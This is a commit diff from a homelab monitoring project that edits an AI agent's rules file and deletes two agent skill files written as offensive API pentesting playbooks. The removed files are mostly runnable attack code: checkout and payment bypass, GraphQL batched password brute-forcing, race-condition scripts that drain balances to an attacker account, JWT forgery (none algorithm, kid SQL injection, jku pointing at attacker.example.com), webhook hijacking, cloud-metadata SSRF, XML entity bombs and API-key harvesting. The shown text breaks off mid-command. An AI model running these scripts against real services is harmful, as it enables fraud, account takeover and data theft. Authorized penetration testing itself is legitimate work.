Skip to content

Self-hosted monitoring for homelabs: host and container metrics and uptime checks from all your machines in one dashboard, with an optional AI agent that diagnoses incidents and suggests fixes.

chore: remove personal and unlicensed files before the repository goes public (#231)

Karlo Kajba Šimanić1b14c69eaf85
diff --git a/.claude/CLAUDE.md b/.claude/CLAUDE.md
index af28a90..6f44a89 100644
--- a/.claude/CLAUDE.md
+++ b/.claude/CLAUDE.md
@@ -25,7 +25,8 @@ infradeck: a self-hosted dashboard for monitoring homelab machines. One machine
- For non-trivial changes, outline the plan briefly before writing code.
- Change only what the task requires; don't refactor or reformat unrelated code.
- Before saying a task is done, run the tests and lint for the areas you touched and fix failures.
-- Code, comments, commit messages, issues and PR descriptions in English. Reply to me in Croatian.
+- Code, comments, commit messages, issues and PR descriptions in English.
+- Update docs after finishing a task (if needed)
# Ask before
- Committing, pushing, creating branches or opening PRs
diff --git a/.claude/skills/claude-red/api/offensive-api-abuse/SKILL.md b/.claude/skills/claude-red/api/offensive-api-abuse/SKILL.md
deleted file mode 100644
index 8b7aa8d..0000000
--- a/.claude/skills/claude-red/api/offensive-api-abuse/SKILL.md
+++ /dev/null
@@ -1,499 +0,0 @@
----
-name: offensive-api-abuse
-description: "Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss."
----
-
-# Offensive API Abuse and Advanced Exploitation
-
-You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.
-
-## Quick Workflow
-
-1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
-2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
-3. Test each workflow for race conditions using parallel request techniques.
-4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
-5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
-6. Probe pagination for data enumeration and exfiltration opportunities.
-7. Test webhook configurations for SSRF and callback hijacking.
-8. Search for API key leakage in client code, error responses, and public repositories.
-9. Verify all discovered endpoints for authorization consistency.
-10. Document business impact for each finding with financial or operational consequence estimates.
-
----
-
-## Business Logic Bypass via API Chaining
-
-Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
-
-```bash
-# E-commerce checkout bypass
-# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
-# Attack: skip payment and go directly to confirm
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"product_id": "PROD-001", "quantity": 1}' \
- "https://target.example.com/api/v1/cart/items" | jq .
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"coupon_code": "SAVE20"}' \
- "https://target.example.com/api/v1/cart/coupon" | jq .
-
-# Skip payment -- attempt direct order confirmation
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"cart_id": "CART-12345"}' \
- "https://target.example.com/api/v1/orders/confirm" | jq .
-```
-
-```bash
-# Price manipulation: add expensive item for free shipping, calculate, remove it
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
- "https://target.example.com/api/v1/cart/items"
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/cart/calculate"
-
-curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"payment_method": "card_on_file"}' \
- "https://target.example.com/api/v1/cart/pay"
-```
-
-```bash
-# State manipulation, negative quantities, currency confusion
-curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"status": "pending"}' \
- "https://target.example.com/api/v1/orders/ORD-5001"
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"product_id": "PROD-001", "quantity": -1}' \
- "https://target.example.com/api/v1/cart/items"
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"amount": 100, "currency": "IDR"}' \
- "https://target.example.com/api/v1/payments"
-```
-
----
-
-## GraphQL Batching and Abuse
-
-GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
-
-```bash
-# Full introspection query -- extract types and mutations
-curl -s -X POST -H "Content-Type: application/json" \
- -H "Authorization: Bearer $TOKEN" \
- -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
- "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
-
-curl -s -X POST -H "Content-Type: application/json" \
- -H "Authorization: Bearer $TOKEN" \
- -d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
- "https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
-```
-
-Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:
-
-```python
-#!/usr/bin/env python3
-"""GraphQL batching for authentication brute-force amplification."""
-import requests, json, sys
-
-TARGET = "https://target.example.com/graphql"
-BATCH_SIZE = 50
-
-def run_batch_brute(email, wordlist_path):
- with open(wordlist_path) as f:
- passwords = [line.strip() for line in f if line.strip()]
-
- for i in range(0, len(passwords), BATCH_SIZE):
- batch = passwords[i:i + BATCH_SIZE]
- payload = [
- {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
- for j, pwd in enumerate(batch)
- ]
- resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
- if resp.status_code == 429:
- print(f"[!] Rate limited at batch index {i}")
- break
- for j, result in enumerate(resp.json()):
- if result.get("data", {}).get("login", {}).get("success"):
- print(f"[+] Valid: {email}:{batch[j]}")
- return
- print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
-
-if __name__ == "__main__":
- run_batch_brute(sys.argv[1], sys.argv[2])
-```
-
-```bash
-# Query depth exploitation for denial of service
-curl -s -X POST -H "Content-Type: application/json" \
- -H "Authorization: Bearer $TOKEN" \
- -d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
- "https://target.example.com/graphql"
-
-# Field duplication for response amplification
-curl -s -X POST -H "Content-Type: application/json" \
- -H "Authorization: Bearer $TOKEN" \
- -d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
- "https://target.example.com/graphql"
-```
-
----
-
-## Pagination Exploitation
-
-Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained.
-
-```bash
-# Probe pagination boundaries and abuse page size
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?page=1&per_page=1" | \
- jq '{total: .total, total_pages: .total_pages, current_page: .page}'
-
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
-
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
-```
-
-```bash
-# Cursor-based pagination manipulation
-echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
-
-# Forge a cursor to access arbitrary records
-forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
-
-# Sort and filter parameter injection
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users?filter[role]=admin" | jq .
-```
-
----
-
-## Webhook Hijacking and SSRF
-
-Webhook configurations allow you to redirect server-initiated callbacks to attacker-controlled endpoints, enabling data interception and SSRF.
-
-```bash
-# Register a webhook pointing to your controlled server
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{
- "url": "https://attacker-listener.example.com/webhook",
- "events": ["user.created", "order.completed", "payment.received"],
- "secret": "attacker_secret"
- }' "https://target.example.com/api/v1/webhooks" | jq .
-
-# List existing webhooks to discover internal URLs
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
-```
-
-```bash
-# Webhook SSRF: point webhook URL to internal services
-internal_targets=(
- "http://127.0.0.1:8080/admin"
- "http://169.254.169.254/latest/meta-data/"
- "http://internal-api.local:3000/health"
- "http://elasticsearch.internal:9200/_cat/indices"
-)
-
-for target_url in "${internal_targets[@]}"; do
- resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
- "https://target.example.com/api/v1/webhooks")
- echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
-done
-```
-
----
-
-## Race Conditions in API Transactions
-
-Race conditions occur when APIs fail to properly serialize concurrent requests against shared state. You exploit these to duplicate transactions, bypass limits, or corrupt state.
-
-```python
-#!/usr/bin/env python3
-"""Race condition testing for API transaction abuse."""
-import asyncio, aiohttp
-
-TARGET = "https://target.example.com/api/v1"
-TOKEN = "YOUR_TOKEN"
-HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
-
-async def send_request(session, url, data=None):
- async with session.post(url, json=data, headers=HEADERS) as resp:
- body = await resp.json()
- return {"status": resp.status, "body": body}
-
-async def race_coupon_redeem(coupon_code, n=20):
- """Redeem a single-use coupon multiple times via race condition."""
- async with aiohttp.ClientSession() as session:
- tasks = [send_request(session, f"{TARGET}/cart/coupon",
- {"coupon_code": coupon_code}) for _ in range(n)]
- results = await asyncio.gather(*tasks)
- successes = [r for r in results if r["status"] == 200]
- print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
-
-async def race_balance_transfer(n=20):
- """Drain account by sending parallel transfers exceeding balance."""
- async with aiohttp.ClientSession() as session:
- tasks = [send_request(session, f"{TARGET}/transfers",
- {"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
- for _ in range(n)]
- results = await asyncio.gather(*tasks)
- successes = [r for r in results if r["status"] in (200, 201)]
- total = sum(r["body"].get("amount", 0) for r in successes)
- print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
-
-if __name__ == "__main__":
- asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
- asyncio.run(race_balance_transfer())
-```
-
-```bash
-# Race condition using GNU parallel with curl
-seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
- -X POST -H "Authorization: Bearer '"$TOKEN"'" \
- -H "Content-Type: application/json" \
- -d '\''{"coupon_code": "SINGLE-USE"}'\'' \
- "https://target.example.com/api/v1/cart/coupon"'
-```
-
----
-
-## JWT Manipulation
-
-JSON Web Tokens often carry authorization decisions client-side. You exploit weaknesses in token generation, validation, and cryptographic implementation.
-
-```bash
-# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
-jwt_tool "$JWT_TOKEN"
-jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
-jwt_tool "$JWT_TOKEN" -X n # None algorithm
-
-# Manual none-algorithm variants
-for alg in "none" "None" "NONE" "nOnE"; do
- header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
- payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
- forged="${header}.${payload}."
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer ${forged}" \
- "https://target.example.com/api/v1/users/me")
- echo "Algorithm '${alg}' -> HTTP ${code}"
-done
-```
-
-```bash
-# kid (Key ID) injection -- path traversal and SQL injection
-jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
-jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
-jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
-```
-
-```bash
-# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
-openssl genrsa -out attacker_key.pem 2048
-openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
-
-python3 -c "
-import json, base64
-from cryptography.hazmat.primitives.serialization import load_pem_public_key
-with open('attacker_pub.pem', 'rb') as f:
- pub = load_pem_public_key(f.read())
-n = pub.public_numbers()
-jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
- 'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
- 'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
-print(json.dumps(jwks, indent=2))
-" > jwks.json
-
-jwt_tool "$JWT_TOKEN" -I \
- -hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
- -hc kid -hv "attacker-key-1" \
- -S rs256 -pr attacker_key.pem
-```
-
-```bash
-# Claim tampering with a known or brute-forced secret
-jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
-jwt_tool "$JWT_TOKEN" -I -pc sub -pv "[email protected]" -S hs256 -p "$KNOWN_SECRET"
-jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
-jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
- -pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
-```
-
----
-
-## API Key Leakage Patterns
-
-API keys leak through predictable channels. You systematically search for them across all exposure surfaces.
-
-```bash
-# Search public repositories for leaked keys
-gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
- --method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
-
-gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
- --method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
-```
-
-```bash
-# Client-side key extraction from JavaScript bundles
-curl -s "https://target.example.com/" | \
- grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
- echo "=== Scanning: https://target.example.com${js_url} ==="
- curl -s "https://target.example.com${js_url}" | grep -oiE \
- '(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
-done
-
-# Error message key leakage
-curl -s -X POST -H "Content-Type: application/json" \
- -d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
- grep -iE '(key|token|secret|password|credential)'
-```
-
----
-
-## Undocumented Endpoint Discovery
-
-Production APIs frequently expose endpoints not listed in public documentation. You discover them through predictable naming patterns, debug routes, and application source analysis.
-
-```bash
-# Parameter discovery with Arjun
-arjun -u "https://target.example.com/api/v1/users" -m GET \
- --headers "Authorization: Bearer $TOKEN" -t 10
-arjun -u "https://target.example.com/api/v1/users" -m POST \
- --headers "Authorization: Bearer $TOKEN" -t 10
-
-# ParamSpider for URL parameter mining from web archives
-paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
-```
-
-```bash
-# Endpoint brute-forcing with predictable naming patterns
-wordlist=(
- "internal" "debug" "test" "dev" "staging" "beta"
- "admin" "manage" "console" "dashboard" "config"
- "health" "status" "metrics" "graphql" "playground"
- "backup" "export" "import" "batch" "bulk" "webhook"
-)
-
-for word in "${wordlist[@]}"; do
- for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN" \
- "${TARGET}${prefix}/${word}")
- [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
- done
-done
-
-# Extract API routes from JavaScript bundles
-curl -s "https://target.example.com/static/js/main.js" | \
- grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -u
-```
-
----
-
-## Resource Exhaustion and Algorithmic Complexity
-
-Target API operations that have disproportionate server-side cost relative to request complexity.
-
-```bash
-# ReDoS via search parameters -- measure response time scaling
-for len in 10 20 30 40 50; do
- payload=$(python3 -c "print('a' * ${len} + '!')")
- curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/search?q=${payload}"
-done
-
-# XML entity expansion (Billion Laughs) if XML input accepted
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/xml" \
- -d '<?xml version="1.0"?>
-<!DOCTYPE lolz [
- <!ENTITY lol "lol">
- <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
-]>
-<data>&lol4;</data>' "https://target.example.com/api/v1/import"
-```
-
----
-
-## Detection / Defender View
-
-When you execute these techniques, you generate specific artifacts that defenders monitor for:
-
-- **Business logic abuse** does not trigger signature-based detection because each individual request is valid. Behavioral analytics detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring flags duplicate rewards, negative-amount transfers, or currency mismatches.
-
-- **GraphQL batching** produces abnormally large request payloads. API gateways with query complexity, depth, or operation count limits block these. Introspection queries from non-development sources trigger alerts.
-
-- **Pagination abuse** manifests as requests with abnormal page sizes or sequential fetches at high volume. DLP systems alert on bulk data access patterns.
-
-- **Webhook manipulation** is detected by registration audit logs. Outbound connection monitoring flags callbacks to unexpected destinations. SSRF defenses validate callback URLs against allowlists.
-
-- **Race conditions** produce bursts of identical requests within millisecond windows. Distributed tracing captures concurrent state modifications. Database logs show serialization failures.
-
-- **JWT attacks** involving algorithm confusion produce tokens with unexpected header values logged by auth middleware. Tokens with jku/x5u pointing to external URLs trigger URL validation alerts.
-
-- **Endpoint enumeration** produces 404 bursts and unusual URL path patterns. WAFs flag path traversal patterns in discovery attempts.
-
----
-
-## Engagement Cheatsheet
-
-| Phase | Action | Tool |
-|-------|--------|------|
-| Discovery | Hidden parameter enumeration | Arjun |
-| Discovery | URL parameter mining | ParamSpider |
-| Discovery | GraphQL schema introspection | curl, GraphQL Voyager |
-| Discovery | Endpoint brute-force | Custom wordlist scripts |
-| Logic | Workflow bypass via API chaining | curl, Burp Repeater |
-| Logic | Price/state manipulation | curl sequences |
-| Logic | Race condition exploitation | Python asyncio/aiohttp, GNU parallel |
-| Auth | JWT algorithm confusion | jwt_tool |
-| Auth | JWT kid/jku injection | jwt_tool, openssl |
-| Auth | JWT claim tampering | jwt_tool |
-| Data | Pagination-based exfiltration | curl, Python scripts |
-| Data | GraphQL batched brute-force | Python scripts |
-| Data | API key leakage search | gh, grep, curl |
-| Infra | Webhook hijacking/SSRF | curl |
-| Infra | Resource exhaustion | curl, Python |
-
----
-
-## Key References
-
-- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
-- OWASP Testing Guide -- Business Logic Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
-- GraphQL Security Best Practices: https://graphql.org/learn/security/
-- PortSwigger -- Race Conditions: https://portswigger.net/web-security/race-conditions
-- jwt_tool: https://github.com/ticarpi/jwt_tool
-- Arjun: https://github.com/s0md3v/Arjun
-- ParamSpider: https://github.com/devanshbatham/ParamSpider
-- GraphQL Voyager: https://github.com/graphql-kit/graphql-voyager
-- "Black Hat GraphQL" by Nick Aleks and Dolev Farhi (No Starch Press)
-- RFC 7519 -- JSON Web Token: https://datatracker.ietf.org/doc/html/rfc7519
diff --git a/.claude/skills/claude-red/api/offensive-api-security/SKILL.md b/.claude/skills/claude-red/api/offensive-api-security/SKILL.md
deleted file mode 100644
index b8dbb43..0000000
--- a/.claude/skills/claude-red/api/offensive-api-security/SKILL.md
+++ /dev/null
@@ -1,504 +0,0 @@
----
-name: offensive-api-security
-description: "Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures."
----
-
-# Offensive API Security Testing
-
-You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
-
-## Quick Workflow
-
-1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
-2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
-3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
-4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.
-5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.
-6. Assess rate limiting and resource consumption controls.
-7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
-8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.
-9. Check for SSRF via URL-accepting parameters and webhook configurations.
-10. Document findings with reproduction steps and severity ratings.
-
----
-
-## OWASP API Top 10 2023 -- BOLA and IDOR
-
-Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
-
-```http
-GET /api/v1/users/1001/orders HTTP/1.1
-Authorization: Bearer eyJhbGciOi...user_a_token
-Host: target.example.com
-```
-
-Replay with a different user ID while retaining the original token:
-
-```http
-GET /api/v1/users/1002/orders HTTP/1.1
-Authorization: Bearer eyJhbGciOi...user_a_token
-Host: target.example.com
-```
-
-Automate IDOR testing across sequential and UUID-based identifiers:
-
-```bash
-# Sequential ID enumeration
-for id in $(seq 1000 1050); do
- status=$(curl -s -o /dev/null -w "%{http_code}" \
- -H "Authorization: Bearer $TOKEN_A" \
- "https://target.example.com/api/v1/users/${id}/orders")
- echo "ID: ${id} -> HTTP ${status}"
-done
-```
-
-```bash
-# Test with collected UUIDs from other endpoints
-while read -r uuid; do
- resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
- "https://target.example.com/api/v1/documents/${uuid}")
- echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
-done < collected_uuids.txt
-```
-
-Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
-
-```bash
-for method in GET PUT PATCH DELETE; do
- curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
- -X "${method}" \
- -H "Authorization: Bearer $TOKEN_A" \
- -H "Content-Type: application/json" \
- -d '{"status":"cancelled"}' \
- "https://target.example.com/api/v1/users/1002/orders/5001"
-done
-```
-
----
-
-## Broken Authentication and Excessive Data Exposure
-
-Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
-
-```bash
-# Rapid credential testing -- probe for missing rate limits on login
-for i in $(seq 1 100); do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X POST -H "Content-Type: application/json" \
- -d "{\"email\":\"[email protected]\",\"password\":\"attempt${i}\"}" \
- "https://target.example.com/api/v1/auth/login")
- echo "Attempt ${i}: HTTP ${code}"
- [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
-done
-```
-
-Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
-
-```bash
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users/me" | jq .
-```
-
-Test token validation weaknesses:
-
-```bash
-# Expired token, post-password-change token, malformed bearer values
-curl -s -o /dev/null -w "Expired: %{http_code}\n" \
- -H "Authorization: Bearer $EXPIRED_TOKEN" \
- "https://target.example.com/api/v1/users/me"
-
-curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
- -H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
- "https://target.example.com/api/v1/users/me"
-
-for val in "" "null" "undefined" "Bearer" "Bearer "; do
- curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
- -H "Authorization: ${val}" \
- "https://target.example.com/api/v1/users/me"
-done
-```
-
----
-
-## Rate Limiting and Resource Consumption
-
-Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.
-
-```bash
-# Measure rate limit headers across rapid requests
-for i in $(seq 1 50); do
- curl -s -D - -o /dev/null \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/search?q=test" 2>&1 | \
- grep -iE "x-rate|retry-after|x-ratelimit"
- sleep 0.1
-done
-```
-
-```bash
-# Pagination abuse and large payload submission
-curl -s -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
-
-python3 -c "
-import json, sys
-payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
-sys.stdout.write(json.dumps(payload))
-" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
- -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" -d @- \
- "https://target.example.com/api/v1/products"
-```
-
----
-
-## BFLA and Mass Assignment
-
-Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.
-
-```bash
-# BFLA: Test admin endpoints with regular user token
-admin_endpoints=(
- "GET /api/v1/admin/users"
- "POST /api/v1/admin/users"
- "DELETE /api/v1/admin/users/1001"
- "GET /api/v1/admin/config"
- "PUT /api/v1/admin/config"
- "GET /api/v1/internal/metrics"
-)
-
-for ep in "${admin_endpoints[@]}"; do
- method=$(echo "$ep" | cut -d' ' -f1)
- path=$(echo "$ep" | cut -d' ' -f2)
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
- "https://target.example.com${path}")
- echo "${method} ${path} -> HTTP ${code}"
-done
-```
-
-```bash
-# Mass assignment: inject properties that should not be user-controllable
-curl -s -X PUT \
- -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{
- "name": "Updated Name",
- "role": "admin",
- "is_admin": true,
- "permissions": ["admin", "superuser"],
- "account_type": "premium",
- "credit_balance": 99999
- }' \
- "https://target.example.com/api/v1/users/me" | jq .
-```
-
----
-
-## REST Verb Tampering and Content-Type Switching
-
-APIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format.
-
-```bash
-# Verb tampering: test all methods against a restricted endpoint
-for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
- code=$(curl -s -o /dev/null -w "%{http_code}" \
- -X "$method" -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/admin/settings")
- echo "${method} -> HTTP ${code}"
-done
-```
-
-```bash
-# Method override headers -- bypass method-based WAF rules
-curl -s -X POST \
- -H "X-HTTP-Method-Override: DELETE" \
- -H "Authorization: Bearer $TOKEN" \
- "https://target.example.com/api/v1/users/1002"
-
-curl -s -X POST \
- -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
- -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/json" \
- -d '{"role":"admin"}' \
- "https://target.example.com/api/v1/users/me"
-```
-
-```bash
-# Content-type switching and parameter pollution
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/x-www-form-urlencoded" \
- -d "username=admin&password=test&role=admin" \
- "https://target.example.com/api/v1/users"
-
-curl -s -X POST -H "Authorization: Bearer $TOKEN" \
- -H "Content-Type: application/xml" \
- -d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
